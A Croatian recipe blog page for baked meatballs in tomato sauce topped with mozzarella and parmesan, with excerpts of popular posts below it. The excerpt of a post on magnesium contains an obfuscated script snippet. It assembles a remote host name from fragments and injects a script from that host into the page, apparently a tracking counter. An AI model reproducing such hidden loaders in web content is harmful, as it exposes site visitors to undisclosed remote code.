ZAPEČENE MESNE OKRUGLICE U UMAKU OD RAJČICE 🍅




Zapečene mesne okruglice u umaku od rajčice 



Ako volite klasične mesne okruglice, ova zapečena verzija osvojit će vas već na prvi zalogaj. Sočne okruglice kuhaju se u bogatom umaku od rajčice, a zatim se zapeku sa slojem rastopljene mozzarelle koja im daje neodoljivu kremastu završnicu. Riječ je o jednostavnom obroku koji je savršen za obiteljski ručak, a odlično se slaže s pire krumpirom, tjesteninom, rižom ili svježim kruhom.




Zapečene mesne okruglice u umaku od rajčice 


Sastojci:

Za mesne okruglice:

  • 500 g mljevenog mesa (junetina, svinjetina ili miješano)
  • 1 manji luk, sitno nasjeckan
  • 2 češnja češnjaka, protisnuta
  • 1 jaje
  • 80 g krušnih mrvica
  • 2 žlice mlijeka
  • 1 žličica sušenog origana
  • 1 žličica mljevene slatke paprike
  • sol i papar po ukusu
  • 2 žlice nasjeckanog peršina

Za umak:

•700 ml pasirane rajčice

  • 2 žlice koncentrata rajčice
  • 1 manji luk
  • 2 češnja češnjaka
  • 2 žlice maslinova ulja
  • 100 ml vode
  • 1 žličica šećera
  • sol i papar
  • bosiljak ili origano po želji

Za zapečenu koricu:

  • 200 g mozzarelle
  • 30 g naribanog parmezana
  • svježi bosiljak za posluživanje (po želji)

Priprema: 

U većoj zdjeli pomiješajte mljeveno meso, sitno nasjeckani luk, češnjak, jaje, krušne mrvice, mlijeko, peršin i začine. Sve kratko sjedinite i oblikujte okruglice jednake veličine. Na zagrijanom ulju kratko ih zapecite sa svih strana, tek toliko da dobiju lijepu zlatnosmeđu boju. Izvadite ih na tanjur. U istoj tavi pirjajte sitno nasjeckani luk nekoliko minuta, zatim dodajte češnjak i kratko ga popržite. Umiješajte koncentrat rajčice, ulijte pasiranu rajčicu i vodu te začinite soli, paprom, šećerom i začinskim biljem. Kuhajte desetak minuta na laganoj vatri. Umak prelijte u vatrostalnu posudu, posložite mesne okruglice i lagano ih utisnite u umak. Po vrhu rasporedite narezanu mozzarellu i pospite naribanim parmezanom. Pecite u prethodno zagrijanoj pećnici na 200 °C oko 20 minuta, odnosno dok se sir potpuno ne otopi i ne dobije lijepu zlatnu koricu. Po želji ukrasite svježim bosiljkom i poslužite odmah.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više